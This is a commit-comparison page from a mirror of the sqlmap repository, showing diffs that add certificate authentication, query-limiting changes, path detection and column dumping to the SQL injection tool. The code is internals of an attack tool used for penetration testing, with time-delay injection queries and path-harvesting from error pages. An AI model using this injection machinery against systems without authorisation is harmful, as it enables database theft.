mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 12:41:30 +00:00
Compare commits
18 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f316e722c1 | ||
|
|
6a62a78b0a | ||
|
|
067cc07fb9 | ||
|
|
5c20462155 | ||
|
|
82222fcd3a | ||
|
|
d07f60578c | ||
|
|
80df1fdcf9 | ||
|
|
954a927cee | ||
|
|
71547a3496 | ||
|
|
bb61010a45 | ||
|
|
473024bd6e | ||
|
|
6319eb6e5c | ||
|
|
232f927dd0 | ||
|
|
d71e47ce56 | ||
|
|
2eb24c6368 | ||
|
|
236ca9b952 | ||
|
|
96a033b51d | ||
|
|
d5b1863dec |
@@ -1,3 +1,7 @@
|
|||||||
Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer
|
Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer
|
||||||
<bernardo.damele@gmail.com>
|
<bernardo.damele@gmail.com>
|
||||||
PGP Key ID: 0x05F5A30F
|
PGP Key ID: 0x05F5A30F
|
||||||
|
|
||||||
|
Miroslav Stampar (stamparm) - Developer since version 0.8-rc2
|
||||||
|
<miroslav.stampar@gmail.com>
|
||||||
|
PGP Key ID: 0xB5397B1B
|
||||||
|
|||||||
@@ -116,6 +116,9 @@ Anant Kochhar <anant.kochhar@secureyes.net>
|
|||||||
Alexander Kornbrust <ak@red-database-security.com>
|
Alexander Kornbrust <ak@red-database-security.com>
|
||||||
for reporting a couple of bugs
|
for reporting a couple of bugs
|
||||||
|
|
||||||
|
Krzysztof Kotowicz <kkotowicz@gmail.com>
|
||||||
|
for reporting a minor bug
|
||||||
|
|
||||||
Nicolas Krassas <krasn@ans.gr>
|
Nicolas Krassas <krasn@ans.gr>
|
||||||
for reporting a bug
|
for reporting a bug
|
||||||
|
|
||||||
|
|||||||
@@ -453,7 +453,7 @@ class Agent:
|
|||||||
|
|
||||||
return inbandQuery
|
return inbandQuery
|
||||||
|
|
||||||
def limitQuery(self, num, query, field):
|
def limitQuery(self, num, query, field=None):
|
||||||
"""
|
"""
|
||||||
Take in input a query string and return its limited query string.
|
Take in input a query string and return its limited query string.
|
||||||
|
|
||||||
@@ -502,6 +502,12 @@ class Agent:
|
|||||||
if " ORDER BY " in limitedQuery:
|
if " ORDER BY " in limitedQuery:
|
||||||
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
||||||
|
|
||||||
|
notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
|
||||||
|
|
||||||
|
for notDistinct in notDistincts:
|
||||||
|
limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct)
|
||||||
|
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
|
||||||
|
|
||||||
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
|
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
|
||||||
topNums = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I)
|
topNums = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I)
|
||||||
|
|
||||||
@@ -517,11 +523,13 @@ class Agent:
|
|||||||
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
||||||
|
|
||||||
if forgeNotIn:
|
if forgeNotIn:
|
||||||
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
||||||
|
|
||||||
if " WHERE " in limitedQuery:
|
if " WHERE " in limitedQuery:
|
||||||
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
||||||
else:
|
else:
|
||||||
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
|
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
|
||||||
|
|
||||||
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
||||||
limitedQuery += "%s %s)" % (field, fromFrom)
|
limitedQuery += "%s %s)" % (field, fromFrom)
|
||||||
|
|
||||||
|
|||||||
@@ -30,6 +30,8 @@ import string
|
|||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
import urlparse
|
import urlparse
|
||||||
|
import ntpath
|
||||||
|
import posixpath
|
||||||
from lib.contrib import magic
|
from lib.contrib import magic
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
@@ -215,7 +217,7 @@ def getHtmlErrorFp():
|
|||||||
|
|
||||||
def getDocRoot():
|
def getDocRoot():
|
||||||
docRoot = None
|
docRoot = None
|
||||||
pagePath = os.path.dirname(conf.path)
|
pagePath = directoryPath(conf.path)
|
||||||
|
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
defaultDocRoot = "C:/Inetpub/wwwroot/"
|
defaultDocRoot = "C:/Inetpub/wwwroot/"
|
||||||
@@ -224,14 +226,13 @@ def getDocRoot():
|
|||||||
|
|
||||||
if kb.absFilePaths:
|
if kb.absFilePaths:
|
||||||
for absFilePath in kb.absFilePaths:
|
for absFilePath in kb.absFilePaths:
|
||||||
|
absFilePath = normalizePath(absFilePath)
|
||||||
absFilePathWin = None
|
absFilePathWin = None
|
||||||
|
|
||||||
if re.search("[A-Za-z]:(\\[\w.\\]*)?", absFilePath):
|
if re.match("[A-Za-z]:(\\[\w.\\]*)?", absFilePath):
|
||||||
absFilePathWin = absFilePath
|
absFilePathWin = absFilePath
|
||||||
absFilePath = absFilePath[2:].replace("\\", "/")
|
absFilePath = absFilePath[2:].replace("\\", "/")
|
||||||
|
|
||||||
absFilePath = os.path.normpath(absFilePath)
|
|
||||||
|
|
||||||
if pagePath in absFilePath:
|
if pagePath in absFilePath:
|
||||||
index = absFilePath.index(pagePath)
|
index = absFilePath.index(pagePath)
|
||||||
docRoot = absFilePath[:index]
|
docRoot = absFilePath[:index]
|
||||||
@@ -509,7 +510,7 @@ def parsePasswordHash(password):
|
|||||||
password += "%suppercase: %s" % (blank, hexPassword[54:])
|
password += "%suppercase: %s" % (blank, hexPassword[54:])
|
||||||
|
|
||||||
return password
|
return password
|
||||||
|
|
||||||
def cleanQuery(query):
|
def cleanQuery(query):
|
||||||
upperQuery = query
|
upperQuery = query
|
||||||
|
|
||||||
@@ -621,7 +622,7 @@ def expandAsteriskForColumns(expression):
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
def getRange(count, dump=False, plusOne=False):
|
def getRange(count, dump=False, plusOne=False):
|
||||||
count = int(count)
|
count = int(count)
|
||||||
indexRange = None
|
indexRange = None
|
||||||
@@ -635,7 +636,7 @@ def getRange(count, dump=False, plusOne=False):
|
|||||||
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
||||||
limitStart = conf.limitStart
|
limitStart = conf.limitStart
|
||||||
|
|
||||||
if kb.dbms == "Oracle" or plusOne:
|
if plusOne:
|
||||||
indexRange = range(limitStart, limitStop + 1)
|
indexRange = range(limitStart, limitStop + 1)
|
||||||
else:
|
else:
|
||||||
indexRange = range(limitStart - 1, limitStop)
|
indexRange = range(limitStart - 1, limitStop)
|
||||||
@@ -691,8 +692,8 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
|
|||||||
data = data[0]
|
data = data[0]
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
def getDelayQuery():
|
def getDelayQuery(andCond=False):
|
||||||
query = None
|
query = None
|
||||||
|
|
||||||
if kb.dbms in ("MySQL", "PostgreSQL"):
|
if kb.dbms in ("MySQL", "PostgreSQL"):
|
||||||
@@ -703,6 +704,10 @@ def getDelayQuery():
|
|||||||
|
|
||||||
if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"):
|
if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"):
|
||||||
query = queries[kb.dbms].timedelay % conf.timeSec
|
query = queries[kb.dbms].timedelay % conf.timeSec
|
||||||
|
|
||||||
|
if kb.dbms == "MySQL" and andCond:
|
||||||
|
query = query.replace("SELECT ", "")
|
||||||
|
|
||||||
else:
|
else:
|
||||||
query = queries[kb.dbms].timedelay2 % conf.timeSec
|
query = queries[kb.dbms].timedelay2 % conf.timeSec
|
||||||
else:
|
else:
|
||||||
@@ -832,3 +837,19 @@ def sanitizeCookie(cookieStr, warn=False):
|
|||||||
return result
|
return result
|
||||||
else:
|
else:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
def directoryPath(path):
|
||||||
|
retVal = None
|
||||||
|
if path.find('/') != -1:
|
||||||
|
retVal = posixpath.dirname(path)
|
||||||
|
else:
|
||||||
|
retVal = ntpath.dirname(path)
|
||||||
|
return retVal
|
||||||
|
|
||||||
|
def normalizePath(path):
|
||||||
|
retVal = None
|
||||||
|
if path.find('/') != -1:
|
||||||
|
retVal = posixpath.normpath(path)
|
||||||
|
else:
|
||||||
|
retVal = ntpath.normpath(path)
|
||||||
|
return retVal
|
||||||
|
|||||||
@@ -123,7 +123,32 @@ class Dump:
|
|||||||
for setting in settings:
|
for setting in settings:
|
||||||
self.__write(" %s: %s" % (subHeader, setting))
|
self.__write(" %s: %s" % (subHeader, setting))
|
||||||
print
|
print
|
||||||
|
|
||||||
|
def dbColumns(self, dbColumns, colConsider, dbs):
|
||||||
|
for column, dbTables in dbColumns.items():
|
||||||
|
if colConsider == "1":
|
||||||
|
colConsiderStr = "s like '" + column + "' were"
|
||||||
|
else:
|
||||||
|
colConsiderStr = " '%s' was" % column
|
||||||
|
|
||||||
|
msg = "Column%s found in the " % colConsiderStr
|
||||||
|
msg += "following databases:"
|
||||||
|
self.__write(msg)
|
||||||
|
|
||||||
|
printDbs = {}
|
||||||
|
|
||||||
|
for db, tblData in dbs.items():
|
||||||
|
for tbl, colData in tblData.items():
|
||||||
|
for col in colData:
|
||||||
|
if column in col:
|
||||||
|
if db in printDbs:
|
||||||
|
printDbs[db][tbl] = colData
|
||||||
|
else:
|
||||||
|
printDbs[db] = { tbl: colData }
|
||||||
|
break
|
||||||
|
|
||||||
|
self.dbTableColumns(printDbs)
|
||||||
|
|
||||||
def dbTables(self, dbTables):
|
def dbTables(self, dbTables):
|
||||||
if not isinstance(dbTables, dict):
|
if not isinstance(dbTables, dict):
|
||||||
self.string("tables", dbTables)
|
self.string("tables", dbTables)
|
||||||
@@ -155,7 +180,7 @@ class Dump:
|
|||||||
self.__write("| %s%s |" % (table, blank))
|
self.__write("| %s%s |" % (table, blank))
|
||||||
|
|
||||||
self.__write("+%s+\n" % lines)
|
self.__write("+%s+\n" % lines)
|
||||||
|
|
||||||
def dbTableColumns(self, tableColumns):
|
def dbTableColumns(self, tableColumns):
|
||||||
for db, tables in tableColumns.items():
|
for db, tables in tableColumns.items():
|
||||||
if not db:
|
if not db:
|
||||||
@@ -171,12 +196,16 @@ class Dump:
|
|||||||
for column in colList:
|
for column in colList:
|
||||||
colType = columns[column]
|
colType = columns[column]
|
||||||
maxlength1 = max(maxlength1, len(column))
|
maxlength1 = max(maxlength1, len(column))
|
||||||
maxlength2 = max(maxlength2, len(colType))
|
|
||||||
|
if colType is not None:
|
||||||
|
maxlength2 = max(maxlength2, len(colType))
|
||||||
|
|
||||||
maxlength1 = max(maxlength1, len("COLUMN"))
|
maxlength1 = max(maxlength1, len("COLUMN"))
|
||||||
maxlength2 = max(maxlength2, len("TYPE"))
|
|
||||||
lines1 = "-" * (int(maxlength1) + 2)
|
lines1 = "-" * (int(maxlength1) + 2)
|
||||||
lines2 = "-" * (int(maxlength2) + 2)
|
|
||||||
|
if colType is not None:
|
||||||
|
maxlength2 = max(maxlength2, len("TYPE"))
|
||||||
|
lines2 = "-" * (int(maxlength2) + 2)
|
||||||
|
|
||||||
self.__write("Database: %s\nTable: %s" % (db, table))
|
self.__write("Database: %s\nTable: %s" % (db, table))
|
||||||
|
|
||||||
@@ -185,23 +214,42 @@ class Dump:
|
|||||||
else:
|
else:
|
||||||
self.__write("[%d columns]" % len(columns))
|
self.__write("[%d columns]" % len(columns))
|
||||||
|
|
||||||
self.__write("+%s+%s+" % (lines1, lines2))
|
if colType is not None:
|
||||||
|
self.__write("+%s+%s+" % (lines1, lines2))
|
||||||
|
else:
|
||||||
|
self.__write("+%s+" % lines1)
|
||||||
|
|
||||||
blank1 = " " * (maxlength1 - len("COLUMN"))
|
blank1 = " " * (maxlength1 - len("COLUMN"))
|
||||||
blank2 = " " * (maxlength2 - len("TYPE"))
|
|
||||||
|
|
||||||
self.__write("| Column%s | Type%s |" % (blank1, blank2))
|
if colType is not None:
|
||||||
self.__write("+%s+%s+" % (lines1, lines2))
|
blank2 = " " * (maxlength2 - len("TYPE"))
|
||||||
|
|
||||||
|
if colType is not None:
|
||||||
|
self.__write("| Column%s | Type%s |" % (blank1, blank2))
|
||||||
|
self.__write("+%s+%s+" % (lines1, lines2))
|
||||||
|
else:
|
||||||
|
self.__write("| Column%s |" % blank1)
|
||||||
|
self.__write("+%s+" % lines1)
|
||||||
|
|
||||||
for column in colList:
|
for column in colList:
|
||||||
colType = columns[column]
|
colType = columns[column]
|
||||||
blank1 = " " * (maxlength1 - len(column))
|
blank1 = " " * (maxlength1 - len(column))
|
||||||
blank2 = " " * (maxlength2 - len(colType))
|
|
||||||
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
|
|
||||||
|
|
||||||
self.__write("+%s+%s+\n" % (lines1, lines2))
|
if colType is not None:
|
||||||
|
blank2 = " " * (maxlength2 - len(colType))
|
||||||
|
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
|
||||||
|
else:
|
||||||
|
self.__write("| %s%s |" % (column, blank1))
|
||||||
|
|
||||||
|
if colType is not None:
|
||||||
|
self.__write("+%s+%s+\n" % (lines1, lines2))
|
||||||
|
else:
|
||||||
|
self.__write("+%s+\n" % lines1)
|
||||||
|
|
||||||
def dbTableValues(self, tableValues):
|
def dbTableValues(self, tableValues):
|
||||||
|
if tableValues is None:
|
||||||
|
return
|
||||||
|
|
||||||
db = tableValues["__infos__"]["db"]
|
db = tableValues["__infos__"]["db"]
|
||||||
if not db:
|
if not db:
|
||||||
db = "All"
|
db = "All"
|
||||||
|
|||||||
@@ -67,6 +67,7 @@ from lib.core.update import update
|
|||||||
from lib.parse.configfile import configFileParser
|
from lib.parse.configfile import configFileParser
|
||||||
from lib.parse.queriesfile import queriesParser
|
from lib.parse.queriesfile import queriesParser
|
||||||
from lib.request.proxy import ProxyHTTPSHandler
|
from lib.request.proxy import ProxyHTTPSHandler
|
||||||
|
from lib.request.certhandler import HTTPSCertAuthHandler
|
||||||
from lib.utils.google import Google
|
from lib.utils.google import Google
|
||||||
|
|
||||||
authHandler = urllib2.BaseHandler()
|
authHandler = urllib2.BaseHandler()
|
||||||
@@ -518,13 +519,14 @@ def __setHTTPProxy():
|
|||||||
|
|
||||||
def __setHTTPAuthentication():
|
def __setHTTPAuthentication():
|
||||||
"""
|
"""
|
||||||
Check and set the HTTP authentication method (Basic, Digest or NTLM),
|
Check and set the HTTP(s) authentication method (Basic, Digest, NTLM or Certificate),
|
||||||
username and password to perform HTTP requests with.
|
username and password for first three methods, or key file and certification file for
|
||||||
|
certificate authentication
|
||||||
"""
|
"""
|
||||||
|
|
||||||
global authHandler
|
global authHandler
|
||||||
|
|
||||||
if not conf.aType and not conf.aCred:
|
if not conf.aType and not conf.aCred and not conf.aCert:
|
||||||
return
|
return
|
||||||
|
|
||||||
elif conf.aType and not conf.aCred:
|
elif conf.aType and not conf.aCred:
|
||||||
@@ -537,45 +539,67 @@ def __setHTTPAuthentication():
|
|||||||
errMsg += "but did not provide the type"
|
errMsg += "but did not provide the type"
|
||||||
raise sqlmapSyntaxException, errMsg
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
debugMsg = "setting the HTTP authentication type and credentials"
|
if not conf.aCert:
|
||||||
logger.debug(debugMsg)
|
debugMsg = "setting the HTTP authentication type and credentials"
|
||||||
|
logger.debug(debugMsg)
|
||||||
aTypeLower = conf.aType.lower()
|
|
||||||
|
aTypeLower = conf.aType.lower()
|
||||||
if aTypeLower not in ( "basic", "digest", "ntlm" ):
|
|
||||||
errMsg = "HTTP authentication type value must be "
|
if aTypeLower not in ( "basic", "digest", "ntlm" ):
|
||||||
errMsg += "Basic, Digest or NTLM"
|
errMsg = "HTTP authentication type value must be "
|
||||||
raise sqlmapSyntaxException, errMsg
|
errMsg += "Basic, Digest or NTLM"
|
||||||
|
raise sqlmapSyntaxException, errMsg
|
||||||
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
|
|
||||||
|
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
|
||||||
if not aCredRegExp:
|
|
||||||
errMsg = "HTTP authentication credentials value must be "
|
if not aCredRegExp:
|
||||||
errMsg += "in format username:password"
|
errMsg = "HTTP authentication credentials value must be "
|
||||||
raise sqlmapSyntaxException, errMsg
|
errMsg += "in format username:password"
|
||||||
|
raise sqlmapSyntaxException, errMsg
|
||||||
authUsername = aCredRegExp.group(1)
|
|
||||||
authPassword = aCredRegExp.group(2)
|
authUsername = aCredRegExp.group(1)
|
||||||
|
authPassword = aCredRegExp.group(2)
|
||||||
passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
|
|
||||||
passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), authUsername, authPassword)
|
passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
|
||||||
|
passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), authUsername, authPassword)
|
||||||
if aTypeLower == "basic":
|
|
||||||
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
|
if aTypeLower == "basic":
|
||||||
|
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
|
||||||
elif aTypeLower == "digest":
|
|
||||||
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
|
elif aTypeLower == "digest":
|
||||||
|
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
|
||||||
elif aTypeLower == "ntlm":
|
|
||||||
try:
|
elif aTypeLower == "ntlm":
|
||||||
from ntlm import HTTPNtlmAuthHandler
|
try:
|
||||||
except ImportError, _:
|
from ntlm import HTTPNtlmAuthHandler
|
||||||
errMsg = "sqlmap requires Python NTLM third-party library "
|
except ImportError, _:
|
||||||
errMsg += "in order to authenticate via NTLM, "
|
errMsg = "sqlmap requires Python NTLM third-party library "
|
||||||
errMsg += "http://code.google.com/p/python-ntlm/"
|
errMsg += "in order to authenticate via NTLM, "
|
||||||
raise sqlmapMissingDependence, errMsg
|
errMsg += "http://code.google.com/p/python-ntlm/"
|
||||||
|
raise sqlmapMissingDependence, errMsg
|
||||||
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
|
|
||||||
|
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
|
||||||
|
else:
|
||||||
|
debugMsg = "setting the HTTP(s) authentication certificate"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
aCertRegExp = re.search("^(.+?),\s*(.+?)$", conf.aCert)
|
||||||
|
|
||||||
|
if not aCertRegExp:
|
||||||
|
errMsg = "HTTP authentication certificate option "
|
||||||
|
errMsg += "must be in format key_file,cert_file"
|
||||||
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
|
#os.path.expanduser for support of paths with ~
|
||||||
|
key_file = os.path.expanduser(aCertRegExp.group(1))
|
||||||
|
cert_file = os.path.expanduser(aCertRegExp.group(2))
|
||||||
|
|
||||||
|
for file in (key_file, cert_file):
|
||||||
|
if not os.path.exists(file):
|
||||||
|
errMsg = "File '%s' doesn't exist" % file
|
||||||
|
raise sqlmapSyntaxException, errMsg
|
||||||
|
|
||||||
|
authHandler = HTTPSCertAuthHandler(key_file, cert_file)
|
||||||
|
|
||||||
def __setHTTPMethod():
|
def __setHTTPMethod():
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -41,6 +41,7 @@ optDict = {
|
|||||||
"headers": "string",
|
"headers": "string",
|
||||||
"aType": "string",
|
"aType": "string",
|
||||||
"aCred": "string",
|
"aCred": "string",
|
||||||
|
"aCert": "string",
|
||||||
"proxy": "string",
|
"proxy": "string",
|
||||||
"threads": "integer",
|
"threads": "integer",
|
||||||
"delay": "float",
|
"delay": "float",
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ import subprocess
|
|||||||
import sys
|
import sys
|
||||||
|
|
||||||
# sqlmap version and site
|
# sqlmap version and site
|
||||||
VERSION = "0.8-rc3"
|
VERSION = "0.8-rc4"
|
||||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||||
SITE = "http://sqlmap.sourceforge.net"
|
SITE = "http://sqlmap.sourceforge.net"
|
||||||
|
|
||||||
@@ -58,7 +58,7 @@ SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
|
|||||||
# Database managemen system specific variables
|
# Database managemen system specific variables
|
||||||
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
||||||
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
|
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
|
||||||
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
|
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog", "pg_toast" )
|
||||||
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
|
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
|
||||||
|
|
||||||
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
||||||
@@ -74,6 +74,7 @@ SQL_STATEMENTS = {
|
|||||||
"select ",
|
"select ",
|
||||||
"show ",
|
"show ",
|
||||||
" top ",
|
" top ",
|
||||||
|
" distinct ",
|
||||||
" from ",
|
" from ",
|
||||||
" from dual",
|
" from dual",
|
||||||
" where ",
|
" where ",
|
||||||
|
|||||||
@@ -89,12 +89,16 @@ def cmdLineParser():
|
|||||||
help="Extra HTTP headers newline separated")
|
help="Extra HTTP headers newline separated")
|
||||||
|
|
||||||
request.add_option("--auth-type", dest="aType",
|
request.add_option("--auth-type", dest="aType",
|
||||||
help="HTTP Authentication type (value "
|
help="HTTP Authentication type "
|
||||||
"Basic, Digest or NTLM)")
|
"(Basic, Digest or NTLM)")
|
||||||
|
|
||||||
request.add_option("--auth-cred", dest="aCred",
|
request.add_option("--auth-cred", dest="aCred",
|
||||||
help="HTTP Authentication credentials (value "
|
help="HTTP Authentication credentials "
|
||||||
"name:password)")
|
"(name:password)")
|
||||||
|
|
||||||
|
request.add_option("--auth-cert", dest="aCert",
|
||||||
|
help="HTTPs Authentication certificate ("
|
||||||
|
"key_file,cert_file)")
|
||||||
|
|
||||||
request.add_option("--proxy", dest="proxy",
|
request.add_option("--proxy", dest="proxy",
|
||||||
help="Use a HTTP proxy to connect to the target url")
|
help="Use a HTTP proxy to connect to the target url")
|
||||||
|
|||||||
@@ -145,6 +145,8 @@ class queriesHandler(ContentHandler):
|
|||||||
self.__blind2 = sanitizeStr(attrs.get("query2"))
|
self.__blind2 = sanitizeStr(attrs.get("query2"))
|
||||||
self.__count = sanitizeStr(attrs.get("count"))
|
self.__count = sanitizeStr(attrs.get("count"))
|
||||||
self.__count2 = sanitizeStr(attrs.get("count2"))
|
self.__count2 = sanitizeStr(attrs.get("count2"))
|
||||||
|
self.__condition = sanitizeStr(attrs.get("condition"))
|
||||||
|
self.__condition2 = sanitizeStr(attrs.get("condition2"))
|
||||||
|
|
||||||
def endElement(self, name):
|
def endElement(self, name):
|
||||||
if name == "dbms":
|
if name == "dbms":
|
||||||
@@ -192,11 +194,18 @@ class queriesHandler(ContentHandler):
|
|||||||
|
|
||||||
elif name == "columns":
|
elif name == "columns":
|
||||||
self.__columns = {}
|
self.__columns = {}
|
||||||
self.__columns["inband"] = { "query": self.__inband }
|
self.__columns["inband"] = { "query": self.__inband, "condition": self.__condition }
|
||||||
self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count }
|
self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count, "condition": self.__condition }
|
||||||
|
|
||||||
self.__queries.columns = self.__columns
|
self.__queries.columns = self.__columns
|
||||||
|
|
||||||
|
elif name == "dump_column":
|
||||||
|
self.__dumpColumn = {}
|
||||||
|
self.__dumpColumn["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition, "condition2": self.__condition2 }
|
||||||
|
self.__dumpColumn["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count, "count2": self.__count2, "condition": self.__condition, "condition2": self.__condition2 }
|
||||||
|
|
||||||
|
self.__queries.dumpColumn = self.__dumpColumn
|
||||||
|
|
||||||
elif name == "dump_table":
|
elif name == "dump_table":
|
||||||
self.__dumpTable = {}
|
self.__dumpTable = {}
|
||||||
self.__dumpTable["inband"] = { "query": self.__inband }
|
self.__dumpTable["inband"] = { "query": self.__inband }
|
||||||
|
|||||||
@@ -30,6 +30,7 @@ import zlib
|
|||||||
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
|
from lib.core.common import directoryPath
|
||||||
from lib.parse.headers import headersParser
|
from lib.parse.headers import headersParser
|
||||||
from lib.parse.html import htmlParser
|
from lib.parse.html import htmlParser
|
||||||
|
|
||||||
@@ -68,16 +69,17 @@ def parseResponse(page, headers):
|
|||||||
# Detect injectable page absolute system path
|
# Detect injectable page absolute system path
|
||||||
# NOTE: this regular expression works if the remote web application
|
# NOTE: this regular expression works if the remote web application
|
||||||
# is written in PHP and debug/error messages are enabled.
|
# is written in PHP and debug/error messages are enabled.
|
||||||
absFilePathsRegExp = ( r" in <b>(.*?)</b> on line", r"\b[A-Za-z]:(\\[\w.\\]*)?", r"/[/\w.]+" )
|
absFilePathsRegExp = ( r" in <b>(?P<result>.*?)</b> on line", r"\b(?P<result>[A-Za-z]:(\\[\w.\\]*)?)", r"(\A|[^<])(?P<result>/[/\w.]+)" )
|
||||||
|
|
||||||
for absFilePathRegExp in absFilePathsRegExp:
|
for absFilePathRegExp in absFilePathsRegExp:
|
||||||
reobj = re.compile(absFilePathRegExp)
|
reobj = re.compile(absFilePathRegExp)
|
||||||
|
|
||||||
for match in reobj.finditer(page):
|
for match in reobj.finditer(page):
|
||||||
absFilePath = match.group()
|
absFilePath = match.group("result").strip()
|
||||||
|
|
||||||
if absFilePath not in kb.absFilePaths:
|
if absFilePath not in kb.absFilePaths:
|
||||||
kb.absFilePaths.add(os.path.dirname(absFilePath))
|
dirname = directoryPath(absFilePath)
|
||||||
|
kb.absFilePaths.add(dirname)
|
||||||
|
|
||||||
def decodePage(page, encoding):
|
def decodePage(page, encoding):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -1,12 +1,45 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys
|
||||||
import httplib
|
import httplib
|
||||||
import urllib2
|
import urllib2
|
||||||
|
|
||||||
|
from lib.core.data import conf
|
||||||
|
|
||||||
class HTTPSCertAuthHandler(urllib2.HTTPSHandler):
|
class HTTPSCertAuthHandler(urllib2.HTTPSHandler):
|
||||||
def __init__(self, key_file, cert_file):
|
def __init__(self, key_file, cert_file):
|
||||||
urllib2.HTTPSHandler.__init__(self)
|
urllib2.HTTPSHandler.__init__(self)
|
||||||
self.key_file = key_file
|
self.key_file = key_file
|
||||||
self.cert_file = cert_file
|
self.cert_file = cert_file
|
||||||
|
|
||||||
def https_open(self, req):
|
def https_open(self, req):
|
||||||
return self.do_open(self.getConnection, req)
|
